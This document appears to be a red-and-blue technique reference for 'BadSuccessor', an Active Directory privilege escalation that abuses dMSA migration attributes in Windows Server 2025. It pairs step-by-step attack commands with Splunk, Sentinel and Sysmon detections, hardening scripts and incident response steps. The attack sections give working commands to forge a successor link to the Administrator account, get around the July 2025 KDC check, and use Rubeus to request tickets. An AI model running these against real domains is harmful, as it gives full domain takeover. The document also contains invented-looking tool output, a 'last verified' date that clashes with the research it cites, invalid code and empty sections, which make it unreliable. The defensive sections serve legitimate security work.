| Attribute | Details |
|---|---|
| Technique ID | EMERGING-PE-001 |
| MITRE ATT&CK v18.1 | T1548 - Abuse Elevation Control Mechanism |
| Tactic | Privilege Escalation |
| Platforms | Windows AD (Server 2025+) |
| Severity | Critical |
| Technique Status | ACTIVE |
| Last Verified | 2025-01-10 |
| Affected Versions | Windows Server 2025 only (dMSA feature) |
| Patched In | Partial mitigation in July 2025 KDC updates; Full mitigation requires dMSA attribute validation policies |
| Author | SERVTEP – Artur Pchelnikau |
Concept: BadSuccessor is a privilege escalation attack that exploits the delegated Managed Service Account (dMSA) migration mechanism introduced in Windows Server 2025. An attacker with CreateChild permissions on an Organizational Unit (OU) can create a weaponized dMSA and manipulate the msDS-ManagedAccountPrecededByLink and msDS-DelegatedMSAState attributes to impersonate high-privilege accounts (including Domain Admins). By establishing a “successor” relationship between the malicious dMSA and the target account, the attacker inherits the target’s Kerberos privileges without cracking hashes, resetting passwords, or creating golden tickets—making the attack stealthy and difficult to detect without attribute monitoring.
Attack Surface: Active Directory dMSA objects, specifically the migration-related attributes (msDS-ManagedAccountPrecededByLink, msDS-DelegatedMSAState, msDS-SupersededManagedAccountLink, msDS-SupersededServiceAccountState, msDS-GroupMSAMembership) on both dMSA and target user accounts.
Business Impact: Complete domain compromise. An attacker can elevate from CreateChild on a single OU to impersonating any user account in the domain, including Domain Admins, granting them full control over Active Directory, all domain-joined systems, and sensitive enterprise resources.
Technical Context: The attack typically takes 10–30 minutes to execute if permissions are already established. Detection relies on monitoring attribute changes on both the dMSA and target account; without dedicated attribute-level auditing, the attack may go undetected for days or weeks. The attack is most effective against organizations that have adopted Windows Server 2025 but have not implemented dMSA attribute monitoring or restriction policies.
| Framework | Control / ID | Description |
|---|---|---|
| CIS Benchmark | 5.2.5.1 | Limit membership in the Domain Admins group; audit service account delegation |
| DISA STIG | W-25-000131 | Restrict account creation capabilities to authorized administrative personnel |
| CISA SCuBA | AD-2.7 | Implement continuous monitoring of privileged account activity and attribute changes |
| NIST 800-53 | AC-2(1) – AC-2(2) | Account Management – Privileged Access Management |
| GDPR | Art. 32 | Security of Processing – Implement technical controls to prevent privilege escalation |
| DORA | Art. 9 | Protection and Prevention – Reduce privilege levels to minimum required |
| NIS2 | Art. 21 | Cyber Risk Management Measures – Access control and privilege management |
| ISO 27001 | A.9.2.1 – A.9.2.5 | User Access Management – Restrict privilege elevation |
| ISO 27005 | Risk Scenario | Compromise of high-privilege accounts via attribute manipulation |
CreateChild on an OU containing dMSA accounts (or ability to create dMSA accounts), OR existing compromised dMSA account with permissions to write msDS-ManagedAccountPrecededByLink, msDS-DelegatedMSAState, msDS-SupersededManagedAccountLink, and msDS-SupersededServiceAccountState on target account.Supported Versions:
Tools:
# Query for all dMSA accounts
Get-ADUser -Filter {objectClass -eq "dMSA"} -Properties msDS-DelegatedMSAState, msDS-ManagedAccountPrecededByLink, msDS-SupersededManagedAccountLink
# Alternative: Using LDAP filter
Get-ADObject -LDAPFilter "(objectClass=dMSA)" -Properties *
What to Look For:
msDS-DelegatedMSAState = 1 or 2)msDS-ManagedAccountPrecededByLink populated)Command (Server 2025+):
# Windows Server 2025 provides native dMSA cmdlets
Get-ADServiceAccount -Filter {objectClass -eq "dMSA"} -Properties *
# Enumerate OUs and their ACLs for CreateChild permissions
$OU = Get-ADOrganizationalUnit -Filter * | Select-Object DistinguishedName
foreach ($o in $OU) {
$ACL = Get-Acl "AD:\$($o.DistinguishedName)"
$CreateChildRules = $ACL.Access | Where-Object {
$_.ObjectType -eq "00000000-0000-0000-0000-000000000000" -and $_.ActiveDirectoryRights -like "*CreateChild*"
}
if ($CreateChildRules) {
Write-Host "OU: $($o.DistinguishedName) has CreateChild permissions:"
$CreateChildRules | ForEach-Object { Write-Host " - $($_.IdentityReference)" }
}
}
What to Look For:
# Query for high-privilege service accounts
Get-ADUser -Filter {(ServicePrincipalName -like "*") -and (Enabled -eq $true)} -Properties ServicePrincipalName, AccountDisabled | Select-Object SamAccountName, ServicePrincipalName
What to Look For:
Supported Versions: Windows Server 2025
Objective: Prepare the exploitation tool for attribute manipulation.
Command:
git clone https://github.com/ibaiC/BadSuccessor.git
cd BadSuccessor
# Compile C# code
csc.exe /target:exe /out:SharpSuccessor.exe *.cs
Expected Output:
Compilation successful. Output: SharpSuccessor.exe
What This Means:
OpSec & Evasion:
Troubleshooting:
Objective: Establish a foothold dMSA that will be linked to the target privilege account.
Command:
# Create a new dMSA in an OU where you have CreateChild permissions
New-ADServiceAccount -Name "EMERGENT_DMSA" `
-DNSHostName "attacker-dmsa.yourdomain.local" `
-Path "OU=DangeroOUs,DC=yourdomain,DC=local" `
-Enabled $true
Expected Output:
Name SamAccountName DistinguishedName
---- -------------- -----------------
EMERGENT_DMSA EMERGENT_DMSA$ CN=EMERGENT_DMSA,OU=DangerousOUs,DC=yourdomain,DC=local
What This Means:
OpSec & Evasion:
Troubleshooting:
Objective: Establish the “successor” relationship between the malicious dMSA and the target privilege account.
Command (Using SharpSuccessor):
# Identify target account (e.g., Domain Admin)
$TargetAccount = Get-ADUser -Identity "Administrator" -Properties *
$TargetDN = $TargetAccount.DistinguishedName
# Manipulate dMSA attributes to link to target
.\SharpSuccessor.exe add /impersonate:Administrator `
/path:"OU=DangerousOUs,DC=yourdomain,DC=local" `
/account:EMERGENT_DMSA `
/name:"EMERGENT_DMSA"
Expected Output (Pre-Patch):
[+] Successfully created dMSA: EMERGENT_DMSA$
[+] Linked to target: Administrator
[+] Set msDS-DelegatedMSAState: 2 (Migration Completed)
[+] Set msDS-ManagedAccountPrecededByLink: CN=Administrator,CN=Users,DC=yourdomain,DC=local
[+] Ready to request impersonation tickets
Expected Output (Post-Patch - July 2025+):
[-] KDC validation failed: msDS-SupersededManagedAccountLink not found on target
[-] Attack aborted (this is the KDC validation enforcement)
What This Means:
msDS-SupersededManagedAccountLink attribute also references the dMSA, preventing one-sided linkageOpSec & Evasion:
Troubleshooting:
msDS-SupersededManagedAccountLink on the target account (requires GenericWrite on target)Objective: Extract a Kerberos ticket issued to the dMSA but with the target account’s privileges.
Command (Using Rubeus):
# Retrieve Kerberos ticket for the dMSA
.\Rubeus.exe asktgt /user:EMERGENT_DMSA$ /domain:yourdomain.local /dc:DC01.yourdomain.local
Expected Output (Pre-Patch):
[*] Using current credentials to request a TGT...
[+] Ticket retrieved: EMERGENT_DMSA$@yourdomain.local
[+] Special note: This ticket contains Administrator's SID in the authorization data
[+] Ticket saved to: EMERGENT_DMSA$@yourdomain.local.kirbi
What This Means:
OpSec & Evasion:
Troubleshooting:
Objective: Demonstrate privilege escalation by accessing administrative shares.
Command:
# Use the impersonation ticket to access admin shares
dir \\DC01.yourdomain.local\c$
dir \\SERVER02.yourdomain.local\c$
Expected Output:
Directory of \\DC01.yourdomain.local\c$
01/10/2026 10:15 AM <DIR> Program Files
01/10/2026 10:14 AM <DIR> Windows
01/10/2026 10:13 AM <DIR> Users
--- (Full access, previously denied)
What This Means:
Supported Versions: Windows Server 2025
Objective: Establish dMSA without using native cmdlets.
Command:
$DN_OU = "OU=Services,DC=yourdomain,DC=local"
$dMSA_Name = "STEALTHY_SVC"
$dMSA_DN = "CN=$dMSA_Name,OU=Services,DC=yourdomain,DC=local"
# Create dMSA via LDAP
$Entry = New-Object System.DirectoryServices.DirectoryEntry("LDAP://$dMSA_DN")
$Entry.Properties["objectClass"].Value = @("dMSA", "user")
$Entry.Properties["sAMAccountName"].Value = "$dMSA_Name`$"
$Entry.Properties["msDS-DelegatedMSAState"].Value = 1
$Entry.CommitChanges()
Expected Output:
(No console output on success; object committed to AD)
What This Means:
OpSec & Evasion:
Troubleshooting:
Get-ADOrganizationalUnitObjective: Link the dMSA to the target account by modifying AD attributes.
Command:
$dMSA_DN = "CN=STEALTHY_SVC,OU=Services,DC=yourdomain,DC=local"
$Target_DN = "CN=Administrator,CN=Users,DC=yourdomain,DC=local"
# Modify dMSA attributes
$dMSAEntry = New-Object System.DirectoryServices.DirectoryEntry("LDAP://$dMSA_DN")
$dMSAEntry.Properties["msDS-ManagedAccountPrecededByLink"].Value = $Target_DN
$dMSAEntry.Properties["msDS-DelegatedMSAState"].Value = 2 # Completed migration
$dMSAEntry.CommitChanges()
# Also modify target account (if you have GenericWrite on it)
$TargetEntry = New-Object System.DirectoryServices.DirectoryEntry("LDAP://$Target_DN")
$TargetEntry.Properties["msDS-SupersededManagedAccountLink"].Value = $dMSA_DN
$TargetEntry.CommitChanges()
Expected Output:
(Object updated; no console output)
What This Means:
OpSec & Evasion:
Troubleshooting:
Supported Versions: Windows Server 2025 with July 2025+ KDC patches
Objective: Overcome KDC validation by ensuring both accounts reference each other.
Command:
$dMSA_DN = "CN=BILINKED_SVC,OU=Services,DC=yourdomain,DC=local"
$Target_DN = "CN=Administrator,CN=Users,DC=yourdomain,DC=local"
# Step 1: Modify dMSA to reference target
$dMSAEntry = New-Object System.DirectoryServices.DirectoryEntry("LDAP://$dMSA_DN")
$dMSAEntry.Properties["msDS-ManagedAccountPrecededByLink"].Value = $Target_DN
$dMSAEntry.Properties["msDS-DelegatedMSAState"].Value = 2
$dMSAEntry.CommitChanges()
# Step 2: Modify target to reference dMSA
# (Requires GenericWrite or Attribute-Write permission on target)
$TargetEntry = New-Object System.DirectoryServices.DirectoryEntry("LDAP://$Target_DN")
$TargetEntry.Properties["msDS-SupersededManagedAccountLink"].Value = $dMSA_DN
$TargetEntry.CommitChanges()
Write-Host "[+] Bidirectional linkage established"
Expected Output:
[+] Bidirectional linkage established
What This Means:
OpSec & Evasion:
Troubleshooting:
msDS-SupersededManagedAccountLink on target# Simulate dMSA creation
New-ADServiceAccount -Name "TEST_DMSA_PoC" -Path "OU=Test,DC=yourdomain,DC=local" -Enabled $true
# Simulate attribute modification for detection testing
# (Use Get-ADServiceAccount to verify creation)
Get-ADServiceAccount -Identity "TEST_DMSA_PoC" -Properties msDS-DelegatedMSAState
# Remove test dMSA
Remove-ADServiceAccount -Identity "TEST_DMSA_PoC" -Confirm:$false
Reference: Atomic Red Team - Active Directory Tests
Version: 1.0+ Minimum Version: 1.0 Supported Platforms: Windows Server 2025
Version-Specific Notes:
Installation:
git clone https://github.com/ibaiC/BadSuccessor.git
cd BadSuccessor
csc.exe /target:exe /out:SharpSuccessor.exe *.cs
Usage:
.\SharpSuccessor.exe add /impersonate:TargetUser /path:"OU=Services,DC=yourdomain,DC=local" /account:dMSA_Account /name:"dMSA_Name"
Version: Initial research (May 2025) Supported Platforms: Windows Server 2025
Installation:
git clone https://github.com/Yuval-Gordon1/BadSuccessor.git
Usage: Research/educational reference; demonstrates attribute manipulation techniques
Version: 1.6.4+ Supported Platforms: .NET 4.5+ environments
Installation:
# Pre-compiled binaries available at:
# https://github.com/GhostPack/Rubeus/releases
Usage (Kerberos Ticket Extraction):
.\Rubeus.exe asktgt /user:dMSA_Account$ /domain:yourdomain.local /dc:DC01.yourdomain.local
Get-ADObject -LDAPFilter "(msDS-DelegatedMSAState=*)" -Properties msDS-ManagedAccountPrecededByLink, msDS-DelegatedMSAState, msDS-SupersededManagedAccountLink | Select-Object Name, msDS-DelegatedMSAState, msDS-ManagedAccountPrecededByLink
Rule Configuration:
SPL Query:
index=wineventlog sourcetype=WinEventLog:Security EventCode=5136
(AttributeLDAPDisplayName="msDS-ManagedAccountPrecededByLink" OR
AttributeLDAPDisplayName="msDS-DelegatedMSAState" OR
AttributeLDAPDisplayName="msDS-SupersededManagedAccountLink" OR
AttributeLDAPDisplayName="msDS-SupersededServiceAccountState" OR
AttributeLDAPDisplayName="msDS-GroupMSAMembership")
| stats count, values(SubjectUserName) as Editor, values(NewValue) as NewValue by ObjectDN, AttributeLDAPDisplayName
| where count > 0
What This Detects:
Manual Configuration Steps:
count > 0False Positive Analysis:
Complete-ADServiceAccountMigration| where SubjectUserName!="svc_admin" AND SubjectUserName!="AD_Automation"Rule Configuration:
KQL Query:
AuditLogs
| where OperationName contains "Update" and TargetResources contains "dMSA"
| where AdditionalDetails contains "msDS-ManagedAccountPrecededByLink"
or AdditionalDetails contains "msDS-DelegatedMSAState"
or AdditionalDetails contains "msDS-SupersededManagedAccountLink"
| project TimeGenerated, InitiatedBy=parse_json(InitiatedBy)[0].userPrincipalName, TargetObjectId=TargetResources[0].id, ModifiedProperties
| join (
AuditLogs
| where OperationName == "Update user"
| project TargetObjectId=TargetResources[0].id, HighPrivilegeGroup=iff(TargetResources[0].displayName contains "Admin" or TargetResources[0].displayName contains "Domain Admins", "Yes", "No")
) on TargetObjectId
| where HighPrivilegeGroup == "Yes"
What This Detects:
Manual Configuration Steps (Azure Portal):
dMSA Privilege Escalation Detection (BadSuccessor)High10 minutes2 hoursManual Configuration Steps (PowerShell):
# Connect to Sentinel
Connect-AzAccount
$ResourceGroup = "YourResourceGroup"
$WorkspaceName = "YourSentinelWorkspace"
# Create the analytics rule
New-AzSentinelAlertRule -ResourceGroupName $ResourceGroup -WorkspaceName $WorkspaceName `
-DisplayName "dMSA Privilege Escalation Detection" `
-Query @"
AuditLogs
| where OperationName contains "Update" and TargetResources contains "dMSA"
| where AdditionalDetails contains "msDS-ManagedAccountPrecededByLink"
"@ `
-Severity "High" `
-Enabled $true
Source: Microsoft Sentinel AD/Entra ID Detection Reference
Event ID: 5136 (Directory Service Object Modified)
EventID=5136 AND (AttributeLDAPDisplayName contains "msDS-ManagedAccountPrecededByLink" OR AttributeLDAPDisplayName contains "msDS-DelegatedMSAState")Additional Event IDs:
Manual Configuration Steps (Group Policy - Domain Controllers):
gpupdate /force on target DCsManual Configuration Steps (Server 2025 - Local Policy):
Custom Windows Event Viewer Filter:
<QueryList>
<Query Id="0" Path="Security">
<Select Path="Security">*[System[(EventID=5136)]] and *[EventData[Data[@Name='AttributeLDAPDisplayName']='msDS-ManagedAccountPrecededByLink' or Data[@Name='AttributeLDAPDisplayName']='msDS-DelegatedMSAState' or Data[@Name='AttributeLDAPDisplayName']='msDS-SupersededManagedAccountLink']]</Select>
</Query>
</QueryList>
Minimum Sysmon Version: 13.0+ Supported Platforms: Windows Server 2025 Domain Controllers
<Sysmon schemaversion="4.22">
<RuleGroup name="dMSA Attribute Monitoring" groupRelation="or">
<!-- Monitor for LDAP modification operations targeting dMSA -->
<ProcessCreate onmatch="include">
<Image condition="image">dsdbutil.exe</Image>
<CommandLine condition="contains">dMSA</CommandLine>
</ProcessCreate>
<!-- Monitor for PowerShell attribute modifications -->
<ProcessCreate onmatch="include">
<Image condition="image">powershell.exe</Image>
<CommandLine condition="contains any">
msDS-ManagedAccountPrecededByLink;
msDS-DelegatedMSAState;
msDS-SupersededManagedAccountLink;
Replace-ADObjectProperty;
Set-ADObject -Replace
</CommandLine>
</ProcessCreate>
<!-- Monitor for suspicious LDAP queries from non-DC systems -->
<NetworkConnect onmatch="include">
<DestinationPort>389</DestinationPort>
<DestinationIp condition="is not">10.0.0.0/8;172.16.0.0/12;192.168.0.0/16</DestinationIp>
<Protocol>tcp</Protocol>
</NetworkConnect>
</RuleGroup>
</Sysmon>
Manual Configuration Steps:
sysmon-dmsa-config.xml with the XML abovesysmon64.exe -accepteula -i sysmon-dmsa-config.xml
Get-Service Sysmon64
Get-WinEvent -LogName "Microsoft-Windows-Sysmon/Operational" -MaxEvents 10 | Format-Table TimeCreated, Message
Alert Name: “Potential privilege escalation via delegated managed service account (dMSA) migration”
# Clear malicious linkage
$dMSA_DN = "CN=SUSPECT_DMSA,OU=Services,DC=yourdomain,DC=local"
$dMSAEntry = Get-ADObject -Identity $dMSA_DN -Properties msDS-ManagedAccountPrecededByLink
$dMSAEntry.msDS-ManagedAccountPrecededByLink = $null
Set-ADObject -Instance $dMSAEntry
Manual Configuration Steps (Enable Defender for Cloud):
Reference: Microsoft Defender for Cloud Alerts
Applies To Versions: Windows Server 2025
Manual Steps (PowerShell):
# Find all OUs containing dMSA accounts
Get-ADOrganizationalUnit -Filter * | ForEach-Object {
$OU = $_
$dMSACount = @(Get-ADObject -SearchBase $OU.DistinguishedName -Filter "(objectClass=dMSA)").Count
if ($dMSACount -gt 0) {
Write-Host "OU: $($OU.Name) contains $dMSACount dMSA accounts"
# Remove CreateChild from potentially dangerous groups
$ACL = Get-Acl "AD:\$($OU.DistinguishedName)"
$RulesToRemove = $ACL.Access | Where-Object {
$_.ActiveDirectoryRights -like "*CreateChild*" -and
$_.IdentityReference -notlike "*Domain Admins*" -and
$_.IdentityReference -notlike "*Enterprise Admins*"
}
$RulesToRemove | ForEach-Object {
$ACL.RemoveAccessRule($_)
Write-Host "Removed CreateChild: $($_.IdentityReference)"
}
Set-Acl -Path "AD:\$($OU.DistinguishedName)" -AclObject $ACL
}
}
Manual Steps (Active Directory Users and Computers GUI):
Applies To Versions: Windows Server 2016+ (all DCs)
Manual Steps (Group Policy):
gpupdate /force on all DCsApplies To Versions: All
Manual Steps (Splunk/Sentinel Integration):
See Section 8 (Splunk Detection Rules) and Section 9 (Microsoft Sentinel Detection) for detailed SIEM rule deployment
Applies To Versions: All
Manual Steps (PowerShell):
# Identify and remove dangerous ACLs on Domain Admins
$DAGroup = Get-ADGroup -Identity "Domain Admins"
$ACL = Get-Acl "AD:\$($DAGroup.DistinguishedName)"
$DangerousRules = $ACL.Access | Where-Object {
$_.ActiveDirectoryRights -like "*GenericWrite*" -or
$_.ActiveDirectoryRights -like "*WriteProperty*"
}
$DangerousRules | ForEach-Object {
Write-Host "Removing: $($_.IdentityReference)"
$ACL.RemoveAccessRule($_)
}
Set-Acl -Path "AD:\$($DAGroup.DistinguishedName)" -AclObject $ACL
msDS-ManagedAccountPrecededByLink and msDS-SupersededManagedAccountLink must match)Applies To Versions: Windows Server 2025
Manual Steps (Custom GPO via PowerShell DSC):
# Note: Full GPO deployment is complex; this is a monitoring script
# Run on DCs to validate dMSA linkage
$dMSAs = Get-ADObject -LDAPFilter "(objectClass=dMSA)" -Properties msDS-ManagedAccountPrecededByLink, msDS-DelegatedMSAState
foreach ($dMSA in $dMSAs) {
if ($dMSA.msDS-ManagedAccountPrecededByLink) {
$Target = Get-ADObject -Identity $dMSA.'msDS-ManagedAccountPrecededByLink' -Properties msDS-SupersededManagedAccountLink -ErrorAction SilentlyContinue
if (-not $Target.msDS-SupersededManagedAccountLink -or $Target.msDS-SupersededManagedAccountLink -ne $dMSA.DistinguishedName) {
Write-Warning "Unidirectional dMSA linkage detected: $($dMSA.Name) → $($Target.Name)"
# Alert or block this linkage
}
}
}
Applies To Versions: Windows Server 2025
Manual Steps:
Get-ADObject -LDAPFilter "(objectClass=dMSA)" -Properties msDS-ManagedAccountPrecededByLink, Created, LastLogonTimeStamp, Description | Export-Csv "dMSA_Inventory.csv"
Manual Steps:
# Create a dedicated dMSA admin group
New-ADGroup -Name "dMSA_Administrators" -Path "OU=AdminGroups,DC=yourdomain,DC=local" -GroupScope Global
# Restrict dMSA OU management
$dMSA_OU = Get-ADOrganizationalUnit -Filter {Name -like "*Managed*Service*"}
# Grant only dMSA_Administrators full control on dMSA OU
$ACL = Get-Acl "AD:\$($dMSA_OU.DistinguishedName)"
$DenyRule = New-Object System.DirectoryServices.ActiveDirectoryAccessRule(
(New-Object System.Security.Principal.NTAccount("YOURDOMAIN", "Domain Users")),
[System.DirectoryServices.ActiveDirectoryRights]"All",
[System.Security.AccessControl.AccessControlType]::Deny,
[System.DirectoryServices.ActiveDirectorySecurityInheritance]::All
)
$ACL.AddAccessRule($DenyRule)
Set-Acl -Path "AD:\$($dMSA_OU.DistinguishedName)" -AclObject $ACL
Manual Steps (Azure Portal):
Block dMSA from Unexpected LocationsdMSA Accounts group (if synced)# Verify that CreateChild is restricted on dMSA OUs
$dMSA_OUs = Get-ADOrganizationalUnit -Filter * | Where-Object {
$_.Name -like "*Service*" -or $_.Name -like "*dMSA*"
}
foreach ($OU in $dMSA_OUs) {
$ACL = Get-Acl "AD:\$($OU.DistinguishedName)"
$CreateChildRules = $ACL.Access | Where-Object {
$_.ActiveDirectoryRights -like "*CreateChild*"
}
if ($CreateChildRules.Count -eq 0) {
Write-Host "[✓] $($OU.Name): CreateChild properly restricted"
} else {
Write-Host "[✗] $($OU.Name): Potentially dangerous CreateChild permissions detected"
$CreateChildRules | ForEach-Object { Write-Host " - $($_.IdentityReference)" }
}
}
Expected Output (If Secure):
[✓] Services: CreateChild properly restricted
[✓] dMSA_Holders: CreateChild properly restricted
What to Look For:
msDS-ManagedAccountPrecededByLink and msDS-DelegatedMSAState on high-privilege accountsmsDS-ManagedAccountPrecededByLink values in AD explorerDisable-ADAccount -Identity "SUSPECT_DMSA"
Disable-ADAccount -Identity "Administrator"
Manual (Active Directory Users and Computers):
Get-WinEvent -FilterHashtable @{LogName="Security"; EventID=5136; StartTime=(Get-Date).AddDays(-7)} | Export-Csv "dMSA_Changes.csv"
Get-WinEvent -FilterHashtable @{LogName="Security"; EventID=4768,4769; StartTime=(Get-Date).AddDays(-7)} | Where-Object {$_.Message -like "*dMSA*"} | Export-Csv "Kerberos_dMSA.csv"
# Clear msDS-ManagedAccountPrecededByLink on dMSA
$dMSA = Get-ADObject -Identity "CN=SUSPECT_DMSA,OU=Services,DC=yourdomain,DC=local"
Set-ADObject -Identity $dMSA -Clear msDS-ManagedAccountPrecededByLink
# Clear msDS-SupersededManagedAccountLink on target account
$Target = Get-ADObject -Identity "CN=Administrator,CN=Users,DC=yourdomain,DC=local"
Set-ADObject -Identity $Target -Clear msDS-SupersededManagedAccountLink
Remove-ADObject -Identity "CN=SUSPECT_DMSA,OU=Services,DC=yourdomain,DC=local" -Confirm:$false
| Step | Phase | Technique | Description |
|---|---|---|---|
| 1 | Initial Access | [IA-VALID-001] or social engineering | Attacker compromises account with CreateChild permissions on service account OU |
| 2 | Reconnaissance | [REC-AD-003] PowerView enumeration | Attacker maps AD structure, identifies high-privilege accounts and OU permissions |
| 3 | Privilege Escalation | [EMERGING-PE-001] BadSuccessor dMSA Abuse | Attacker creates malicious dMSA and links to Domain Admin account |
| 4 | Persistence | [PERSIST-ACCT-001] AdminSDHolder abuse or [PERSIST-ROGUE-001] DCShadow | Attacker establishes persistence via additional dMSA backdoors or rogue accounts |
| 5 | Collection & Exfiltration | [COLLECT-EMAIL-001] EWS mailbox collection or [COLLECT-DATA-001] Blob Storage extraction | Attacker uses Domain Admin privileges to collect sensitive data |